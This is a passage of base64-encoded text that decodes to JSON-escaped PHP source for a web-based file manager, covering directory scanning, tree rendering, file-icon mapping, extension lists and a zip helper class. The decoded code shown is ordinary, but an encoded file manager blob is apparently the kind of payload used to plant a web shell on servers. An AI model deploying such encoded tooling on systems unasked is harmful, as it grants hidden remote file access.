7XHJcbiAgICAgICAgcmV0dXJuIHNwcmludGYoJyVzIEtpQicsIHJvdW5kKCgkc2l6ZSBcLyAxMDI0KSwgMikpO1xyXG4gICAgfSBlbHNlaWYgKCgkc2l6ZSBcLyAxMDI0IFwvIDEwMjQpIDwgMTAwMCkge1xyXG4gICAgICAgIHJldHVybiBzcHJpbnRmKCclcyBNaUInLCByb3VuZCgoJHNpemUgXC8gMTAyNCBcLyAxMDI0KSwgMikpO1xyXG4gICAgfSBlbHNlaWYgKCgkc2l6ZSBcLyAxMDI0IFwvIDEwMjQgXC8gMTAyNCkgPCAxMDAwKSB7XHJcbiAgICAgICAgcmV0dXJuIHNwcmludGYoJyVzIEdpQicsIHJvdW5kKCgkc2l6ZSBcLyAxMDI0IFwvIDEwMjQgXC8gMTAyNCksIDIpKTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgcmV0dXJuIHNwcmludGYoJyVzIFRpQicsIHJvdW5kKCgkc2l6ZSBcLyAxMDI0IFwvIDEwMjQgXC8gMTAyNCBcLyAxMDI0KSwgMikpO1xyXG4gICAgfVxyXG59XHJcblxyXG5cLyoqXHJcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXHJcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcclxuICogQHJldHVybiBhcnJheXxib29sXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fZ2V0X3ppZl9pbmZvKCRwYXRoKVxyXG57XHJcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd6aXBfb3BlbicpKSB7XHJcbiAgICAgICAgJGFyY2ggPSB6aXBfb3BlbigkcGF0aCk7XHJcbiAgICAgICAgaWYgKCRhcmNoKSB7XHJcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xyXG4gICAgICAgICAgICB3aGlsZSAoJHppcF9lbnRyeSA9IHppcF9yZWFkKCRhcmNoKSkge1xyXG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSk7XHJcbiAgICAgICAgICAgICAgICAkemlwX2ZvbGRlciA9IHN1YnN0cigkemlwX25hbWUsIC0xKSA9PSAnXC8nO1xyXG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXHJcbiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICR6aXBfbmFtZSxcclxuICAgICAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+IHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcclxuICAgICAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiB6aXBfZW50cnlfY29tcHJlc3NlZHNpemUoJHppcF9lbnRyeSksXHJcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcclxuICAgICAgICAgICAgICAgICAgICBcL1wvJ2NvbXByZXNzaW9uX21ldGhvZCcgPT4gemlwX2VudHJ5X2NvbXByZXNzaW9ubWV0aG9kKCR6aXBfZW50cnkpLFxyXG4gICAgICAgICAgICAgICAgKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB6aXBfY2xvc2UoJGFyY2gpO1xyXG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcclxuICAgICAgICB9XHJcbiAgICB9XHJcbiAgICByZXR1cm4gZmFsc2U7XHJcbn1cclxuXHJcblwvKipcclxuICogRW5jb2RlIGh0bWwgZW50aXRpZXNcclxuICogQHBhcmFtIHN0cmluZyAkdGV4dFxyXG4gKiBAcmV0dXJuIHN0cmluZ1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcclxue1xyXG4gICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIFRoaXMgZnVuY3Rpb24gc2NhbnMgdGhlIGZpbGVzIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIGJ1aWxkcyBhIGxhcmdlIGFycmF5XHJcbiAqIEBwYXJhbSBzdHJpbmcgJGRpclxyXG4gKiBAcmV0dXJuIGpzb25cclxuICpcL1xyXG5mdW5jdGlvbiBzY2FuKCRkaXIpe1xyXG4gICAgJGZpbGVzID0gYXJyYXkoKTtcclxuICAgICRfZGlyID0gJGRpcjtcclxuICAgICRkaXIgPSBGTV9ST09UX1BBVEguJ1wvJy4kZGlyO1xyXG4gICAgXC9cLyBJcyB0aGVyZSBhY3R1YWxseSBzdWNoIGEgZm9sZGVyXC9maWxlP1xyXG4gICAgaWYoZmlsZV9leGlzdHMoJGRpcikpe1xyXG4gICAgICAgIGZvcmVhY2goc2NhbmRpcigkZGlyKSBhcyAkZikge1xyXG4gICAgICAgICAgICBpZighJGYgfHwgJGZbMF0gPT0gJy4nKSB7XHJcbiAgICAgICAgICAgICAgICBjb250aW51ZTsgXC9cLyBJZ25vcmUgaGlkZGVuIGZpbGVzXHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyIC4gJ1wvJyAuICRmKSkge1xyXG4gICAgICAgICAgICAgICAgXC9cLyBUaGUgcGF0aCBpcyBhIGZvbGRlclxyXG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcclxuICAgICAgICAgICAgICAgICAgICBcIm5hbWVcIiA9PiAkZixcclxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZvbGRlclwiLFxyXG4gICAgICAgICAgICAgICAgICAgIFwicGF0aFwiID0+ICRfZGlyLidcLycuJGYsXHJcbiAgICAgICAgICAgICAgICAgICAgXCJpdGVtc1wiID0+IHNjYW4oJGRpciAuICdcLycgLiAkZiksIFwvXC8gUmVjdXJzaXZlbHkgZ2V0IHRoZSBjb250ZW50cyBvZiB0aGUgZm9sZGVyXHJcbiAgICAgICAgICAgICAgICApO1xyXG4gICAgICAgICAgICB9IGVsc2Uge1xyXG4gICAgICAgICAgICAgICAgXC9cLyBJdCBpcyBhIGZpbGVcclxuICAgICAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXkoXHJcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGYsXHJcbiAgICAgICAgICAgICAgICAgICAgXCJ0eXBlXCIgPT4gXCJmaWxlXCIsXHJcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJF9kaXIsXHJcbiAgICAgICAgICAgICAgICAgICAgXCJzaXplXCIgPT4gZmlsZXNpemUoJGRpciAuICdcLycgLiAkZikgXC9cLyBHZXRzIHRoZSBzaXplIG9mIHRoaXMgZmlsZVxyXG4gICAgICAgICAgICAgICAgKTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgIH1cclxuICAgIHJldHVybiAkZmlsZXM7XHJcbn1cclxuXHJcblwvKipcclxuKiBTY2FuIGRpcmVjdG9yeSBhbmQgcmV0dXJuIHRyZWUgdmlld1xyXG4qIEBwYXJhbSBzdHJpbmcgJGRpcmVjdG9yeVxyXG4qIEBwYXJhbSBib29sZWFuICRmaXJzdF9jYWxsXHJcbipcL1xyXG5mdW5jdGlvbiBwaHBfZmlsZV90cmVlX2RpcigkZGlyZWN0b3J5LCAkZmlyc3RfY2FsbCA9IHRydWUpIHtcclxuXHRcL1wvIFJlY3Vyc2l2ZSBmdW5jdGlvbiBjYWxsZWQgYnkgcGhwX2ZpbGVfdHJlZSgpIHRvIGxpc3QgZGlyZWN0b3JpZXNcL2ZpbGVzXHJcblxyXG5cdCRwaHBfZmlsZV90cmVlID0gXCJcIjtcclxuXHRcL1wvIEdldCBhbmQgc29ydCBkaXJlY3Rvcmllc1wvZmlsZXNcclxuXHRpZiggZnVuY3Rpb25fZXhpc3RzKFwic2NhbmRpclwiKSApICRmaWxlID0gc2NhbmRpcigkZGlyZWN0b3J5KTtcclxuXHRuYXRjYXNlc29ydCgkZmlsZSk7XHJcblx0XC9cLyBNYWtlIGRpcmVjdG9yaWVzIGZpcnN0XHJcblx0JGZpbGVzID0gJGRpcnMgPSBhcnJheSgpO1xyXG5cdGZvcmVhY2goJGZpbGUgYXMgJHRoaXNfZmlsZSkge1xyXG5cdFx0aWYoIGlzX2RpcihcIiRkaXJlY3RvcnlcLyR0aGlzX2ZpbGVcIiApICkge1xyXG4gICAgICBpZighaW5fYXJyYXkoJHRoaXNfZmlsZSwgJEdMT0JBTFNbJ2V4Y2x1ZGVfZm9sZGVycyddKSl7XHJcbiAgICAgICAgICAkZGlyc1tdID0gJHRoaXNfZmlsZTtcclxuICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgJGZpbGVzW10gPSAkdGhpc19maWxlO1xyXG4gICAgfVxyXG5cdH1cclxuXHQkZmlsZSA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpO1xyXG5cclxuXHRpZiggY291bnQoJGZpbGUpID4gMiApIHsgXC9cLyBVc2UgMiBpbnN0ZWFkIG9mIDAgdG8gYWNjb3VudCBmb3IgLiBhbmQgLi4gXCJkaXJlY3Rvcmllc1wiXHJcblx0XHQkcGhwX2ZpbGVfdHJlZSA9IFwiPHVsXCI7XHJcblx0XHRpZiggJGZpcnN0X2NhbGwgKSB7ICRwaHBfZmlsZV90cmVlIC49IFwiIGNsYXNzPVxcXCJwaHAtZmlsZS10cmVlXFxcIlwiOyAkZmlyc3RfY2FsbCA9IGZhbHNlOyB9XHJcblx0XHQkcGhwX2ZpbGVfdHJlZSAuPSBcIj5cIjtcclxuXHRcdGZvcmVhY2goICRmaWxlIGFzICR0aGlzX2ZpbGUgKSB7XHJcblx0XHRcdGlmKCAkdGhpc19maWxlICE9IFwiLlwiICYmICR0aGlzX2ZpbGUgIT0gXCIuLlwiICkge1xyXG5cdFx0XHRcdGlmKCBpc19kaXIoXCIkZGlyZWN0b3J5XC8kdGhpc19maWxlXCIpICkge1xyXG5cdFx0XHRcdFx0XC9cLyBEaXJlY3RvcnlcclxuXHRcdFx0XHRcdCRwaHBfZmlsZV90cmVlIC49IFwiPGxpIGNsYXNzPVxcXCJwZnQtZGlyZWN0b3J5XFxcIj48aSBjbGFzcz1cXFwiZmEgZmEtZm9sZGVyLW9cXFwiPjxcL2k+PGEgaHJlZj1cXFwiI1xcXCI+XCIgLiBodG1sc3BlY2lhbGNoYXJzKCR0aGlzX2ZpbGUpIC4gXCI8XC9hPlwiO1xyXG5cdFx0XHRcdFx0JHBocF9maWxlX3RyZWUgLj0gcGhwX2ZpbGVfdHJlZV9kaXIoXCIkZGlyZWN0b3J5XC8kdGhpc19maWxlXCIsIGZhbHNlKTtcclxuXHRcdFx0XHRcdCRwaHBfZmlsZV90cmVlIC49IFwiPFwvbGk+XCI7XHJcblx0XHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHRcdFwvXC8gRmlsZVxyXG4gICAgICAgICAgICAgICAgICAgICRleHQgPSBmbV9nZXRfZmlsZV9pY29uX2NsYXNzKCR0aGlzX2ZpbGUpO1xyXG4gICAgICAgICAgICAgICAgICAgICRwYXRoID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSxcIlwiLCRkaXJlY3RvcnkpO1xyXG5cdFx0XHRcdFx0JGxpbmsgPSBcIj9wPVwiLlwiJHBhdGhcIiAuXCImdmlldz1cIi51cmxlbmNvZGUoJHRoaXNfZmlsZSk7XHJcblx0XHRcdFx0XHQkcGhwX2ZpbGVfdHJlZSAuPSBcIjxsaSBjbGFzcz1cXFwicGZ0LWZpbGVcXFwiPjxhIGhyZWY9XFxcIiRsaW5rXFxcIj4gPGkgY2xhc3M9XFxcIiRleHRcXFwiPjxcL2k+XCIgLiBodG1sc3BlY2lhbGNoYXJzKCR0aGlzX2ZpbGUpIC4gXCI8XC9hPjxcL2xpPlwiO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0JHBocF9maWxlX3RyZWUgLj0gXCI8XC91bD5cIjtcclxuXHR9XHJcblx0cmV0dXJuICRwaHBfZmlsZV90cmVlO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNjYW4gZGlyZWN0b3J5IGFuZCByZW5kZXIgdHJlZSB2aWV3XHJcbiAqIEBwYXJhbSBzdHJpbmcgJGRpcmVjdG9yeVxyXG4gKlwvXHJcbmZ1bmN0aW9uIHBocF9maWxlX3RyZWUoJGRpcmVjdG9yeSkge1xyXG4gICAgXC9cLyBSZW1vdmUgdHJhaWxpbmcgc2xhc2hcclxuICAgICRjb2RlID0gXCJcIjtcclxuICAgIGlmKCBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpID09IFwiXC9cIiApICRkaXJlY3RvcnkgPSBzdWJzdHIoJGRpcmVjdG9yeSwgMCwgc3RybGVuKCRkaXJlY3RvcnkpIC0gMSk7XHJcbiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3BocF9maWxlX3RyZWVfZGlyJykpIHtcclxuICAgICAgICAkY29kZSAuPSBwaHBfZmlsZV90cmVlX2RpcigkZGlyZWN0b3J5KTtcclxuICAgICAgICByZXR1cm4gJGNvZGU7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvKipcclxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cclxuICogQHBhcmFtIHN0cmluZyAkbXNnXHJcbiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1c1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3NldF9tc2coJG1zZywgJHN0YXR1cyA9ICdvaycpXHJcbntcclxuICAgICRfU0VTU0lPTlsnbWVzc2FnZSddID0gJG1zZztcclxuICAgICRfU0VTU0lPTlsnc3RhdHVzJ10gPSAkc3RhdHVzO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIENoZWNrIGlmIHN0cmluZyBpcyBpbiBVVEYtOFxyXG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcclxuICogQHJldHVybiBpbnRcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXHJcbntcclxuICAgIHJldHVybiBwcmVnX21hdGNoKCdcL1wvdScsICRzdHJpbmcpO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcclxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcclxuICogQHJldHVybiBzdHJpbmdcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9jb252ZXJ0X3dpbigkZmlsZW5hbWUpXHJcbntcclxuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XHJcbiAgICAgICAgJGZpbGVuYW1lID0gaWNvbnYoRk1fSUNPTlZfSU5QVVRfRU5DLCAnVVRGLThcL1wvSUdOT1JFJywgJGZpbGVuYW1lKTtcclxuICAgIH1cclxuICAgIHJldHVybiAkZmlsZW5hbWU7XHJcbn1cclxuXHJcblwvKipcclxuICogR2V0IENTUyBjbGFzc25hbWUgZm9yIGZpbGVcclxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxyXG4gKiBAcmV0dXJuIHN0cmluZ1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGgpXHJcbntcclxuICAgIFwvXC8gZ2V0IGV4dGVuc2lvblxyXG4gICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xyXG5cclxuICAgIHN3aXRjaCAoJGV4dCkge1xyXG4gICAgICAgIGNhc2UgJ2ljbyc6IGNhc2UgJ2dpZic6IGNhc2UgJ2pwZyc6IGNhc2UgJ2pwZWcnOiBjYXNlICdqcGMnOiBjYXNlICdqcDInOlxyXG4gICAgICAgIGNhc2UgJ2pweCc6IGNhc2UgJ3hibSc6IGNhc2UgJ3dibXAnOiBjYXNlICdwbmcnOiBjYXNlICdibXAnOiBjYXNlICd0aWYnOlxyXG4gICAgICAgIGNhc2UgJ3RpZmYnOiBjYXNlICdzdmcnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLXBpY3R1cmUtbyc7XHJcbiAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6IGNhc2UgJ2Z0cHF1b3RhJzogY2FzZSAnc3FsJzogY2FzZSAnanMnOiBjYXNlICdqc29uJzogY2FzZSAnc2gnOlxyXG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6IGNhc2UgJ3R3aWcnOiBjYXNlICd0cGwnOiBjYXNlICdtZCc6IGNhc2UgJ2dpdGlnbm9yZSc6XHJcbiAgICAgICAgY2FzZSAnYyc6IGNhc2UgJ2NwcCc6IGNhc2UgJ2NzJzogY2FzZSAncHknOiBjYXNlICdtYXAnOiBjYXNlICdsb2NrJzogY2FzZSAnZHRkJzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWNvZGUtbyc7XHJcbiAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIGNhc2UgJ3R4dCc6IGNhc2UgJ2luaSc6IGNhc2UgJ2NvbmYnOiBjYXNlICdsb2cnOiBjYXNlICdodGFjY2Vzcyc6XHJcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS10ZXh0LW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdjc3MnOiBjYXNlICdsZXNzJzogY2FzZSAnc2Fzcyc6IGNhc2UgJ3Njc3MnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNzczMnO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICd6aXAnOiBjYXNlICdyYXInOiBjYXNlICdneic6IGNhc2UgJ3Rhcic6IGNhc2UgJzd6JzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWFyY2hpdmUtbyc7XHJcbiAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIGNhc2UgJ3BocCc6IGNhc2UgJ3BocDQnOiBjYXNlICdwaHA1JzogY2FzZSAncGhwcyc6IGNhc2UgJ3BodG1sJzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jb2RlJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAnaHRtJzogY2FzZSAnaHRtbCc6IGNhc2UgJ3NodG1sJzogY2FzZSAneGh0bWwnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWh0bWw1JztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAneG1sJzogY2FzZSAneHNsJzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWV4Y2VsLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICd3YXYnOiBjYXNlICdtcDMnOiBjYXNlICdtcDInOiBjYXNlICdtNGEnOiBjYXNlICdhYWMnOiBjYXNlICdvZ2cnOlxyXG4gICAgICAgIGNhc2UgJ29nYSc6IGNhc2UgJ3dtYSc6IGNhc2UgJ21rYSc6IGNhc2UgJ2ZsYWMnOiBjYXNlICdhYzMnOiBjYXNlICd0ZHMnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAnbTN1JzogY2FzZSAnbTN1OCc6IGNhc2UgJ3Bscyc6IGNhc2UgJ2N1ZSc6XHJcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaGVhZHBob25lcyc7XHJcbiAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIGNhc2UgJ2F2aSc6IGNhc2UgJ21wZyc6IGNhc2UgJ21wZWcnOiBjYXNlICdtcDQnOiBjYXNlICdtNHYnOiBjYXNlICdmbHYnOlxyXG4gICAgICAgIGNhc2UgJ2Y0dic6IGNhc2UgJ29nbSc6IGNhc2UgJ29ndic6IGNhc2UgJ21vdic6IGNhc2UgJ21rdic6IGNhc2UgJzNncCc6XHJcbiAgICAgICAgY2FzZSAnYXNmJzogY2FzZSAnd212JzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXZpZGVvLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdlbWwnOiBjYXNlICdtc2cnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWVudmVsb3BlLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICd4bHMnOiBjYXNlICd4bHN4JzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWV4Y2VsLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdjc3YnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAnYmFrJzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jbGlwYm9hcmQnO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdkb2MnOiBjYXNlICdkb2N4JzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXdvcmQtbyc7XHJcbiAgICAgICAgICAgIGJyZWFrO1xyXG4gICAgICAgIGNhc2UgJ3BwdCc6IGNhc2UgJ3BwdHgnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcG93ZXJwb2ludC1vJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAndHRmJzogY2FzZSAndHRjJzogY2FzZSAnb3RmJzogY2FzZSAnd29mZic6Y2FzZSAnd29mZjInOiBjYXNlICdlb3QnOiBjYXNlICdmb24nOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZvbnQnO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdwZGYnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcGRmLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdwc2QnOiBjYXNlICdhaSc6IGNhc2UgJ2Vwcyc6IGNhc2UgJ2ZsYSc6IGNhc2UgJ3N3Zic6XHJcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgY2FzZSAnZXhlJzogY2FzZSAnbXNpJzpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLW8nO1xyXG4gICAgICAgICAgICBicmVhaztcclxuICAgICAgICBjYXNlICdiYXQnOlxyXG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLXRlcm1pbmFsJztcclxuICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgZGVmYXVsdDpcclxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1pbmZvLWNpcmNsZSc7XHJcbiAgICB9XHJcblxyXG4gICAgcmV0dXJuICRpbWc7XHJcbn1cclxuXHJcblwvKipcclxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcclxuICogQHJldHVybiBhcnJheVxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcclxue1xyXG4gICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJyk7XHJcbn1cclxuXHJcblwvKipcclxuICogR2V0IHZpZGVvIGZpbGVzIGV4dGVuc2lvbnNcclxuICogQHJldHVybiBhcnJheVxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF92aWRlb19leHRzKClcclxue1xyXG4gICAgcmV0dXJuIGFycmF5KCd3ZWJtJywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnKTtcclxufVxyXG5cclxuXC8qKlxyXG4gKiBHZXQgYXVkaW8gZmlsZXMgZXh0ZW5zaW9uc1xyXG4gKiBAcmV0dXJuIGFycmF5XHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fZ2V0X2F1ZGlvX2V4dHMoKVxyXG57XHJcbiAgICByZXR1cm4gYXJyYXkoJ3dhdicsICdtcDMnLCAnb2dnJywgJ200YScpO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIEdldCB0ZXh0IGZpbGUgZXh0ZW5zaW9uc1xyXG4gKiBAcmV0dXJuIGFycmF5XHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fZ2V0X3RleHRfZXh0cygpXHJcbntcclxuICAgIHJldHVybiBhcnJheShcclxuICAgICAgICAndHh0JywgJ2NzcycsICdpbmknLCAnY29uZicsICdsb2cnLCAnaHRhY2Nlc3MnLCAncGFzc3dkJywgJ2Z0cHF1b3RhJywgJ3NxbCcsICdqcycsICdqc29uJywgJ3NoJywgJ2NvbmZpZycsXHJcbiAgICAgICAgJ3BocCcsICdwaHA0JywgJ3BocDUnLCAncGhwcycsICdwaHRtbCcsICdodG0nLCAnaHRtbCcsICdzaHRtbCcsICd4aHRtbCcsICd4bWwnLCAneHNsJywgJ20zdScsICdtM3U4JywgJ3BscycsICdjdWUnLFxyXG4gICAgICAgICdlbWwnLCAnbXNnJywgJ2NzdicsICdiYXQnLCAndHdpZycsICd0cGwnLCAnbWQnLCAnZ2l0aWdub3JlJywgJ2xlc3MnLCAnc2FzcycsICdzY3NzJywgJ2MnLCAnY3BwJywgJ2NzJywgJ3B5JyxcclxuICAgICAgICAnbWFwJywgJ2xvY2snLCAnZHRkJywgJ3N2ZycsXHJcbiAgICApO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIEdldCBtaW1lIHR5cGVzIG9mIHRleHQgZmlsZXNcclxuICogQHJldHVybiBhcnJheVxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF90ZXh0X21pbWVzKClcclxue1xyXG4gICAgcmV0dXJuIGFycmF5KFxyXG4gICAgICAgICdhcHBsaWNhdGlvblwveG1sJyxcclxuICAgICAgICAnYXBwbGljYXRpb25cL2phdmFzY3JpcHQnLFxyXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcclxuICAgICAgICAnaW1hZ2VcL3N2Zyt4bWwnLFxyXG4gICAgICAgICdtZXNzYWdlXC9yZmM4MjInLFxyXG4gICAgKTtcclxufVxyXG5cclxuXC8qKlxyXG4gKiBHZXQgZmlsZSBuYW1lcyBvZiB0ZXh0IGZpbGVzIHdcL28gZXh0ZW5zaW9uc1xyXG4gKiBAcmV0dXJuIGFycmF5XHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fZ2V0X3RleHRfbmFtZXMoKVxyXG57XHJcbiAgICByZXR1cm4gYXJyYXkoXHJcbiAgICAgICAgJ2xpY2Vuc2UnLFxyXG4gICAgICAgICdyZWFkbWUnLFxyXG4gICAgICAgICdhdXRob3JzJyxcclxuICAgICAgICAnY29udHJpYnV0b3JzJyxcclxuICAgICAgICAnY2hhbmdlbG9nJyxcclxuICAgICk7XHJcbn1cclxuXHJcblwvKipcclxuICogQ2xhc3MgdG8gd29yayB3aXRoIHppcCBmaWxlcyAodXNpbmcgWmlwQXJjaGl2ZSlcclxuICpcL1xyXG5jbGFzcyBGTV9aaXBwZXJcclxue1xyXG4gICAgcHJpdmF0ZSAkemlwO1xyXG5cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpXHJcbiAgICB7XHJcbiAgICAgICAgJHRoaXMtPnppcCA9IG5ldyBaaXBBcmNoaXZlKCk7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogQ3JlYXRlIGFyY2hpdmUgd2l0aCBuYW1lICRmaWxlbmFtZSBhbmQgZmlsZXMgJGZpbGVzIChSRUxBVElWRSBQQVRIUyEpXHJcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxyXG4gICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXNcclxuICAgICAqIEByZXR1cm4gYm9vbFxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkZmlsZW5hbWUsICRmaWxlcylcclxuICAgIHtcclxuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XHJcbiAgICAgICAgaWYgKCRyZXMgIT09IHRydWUpIHtcclxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgICAgIH1cclxuICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkge1xyXG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcclxuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcclxuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xyXG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTt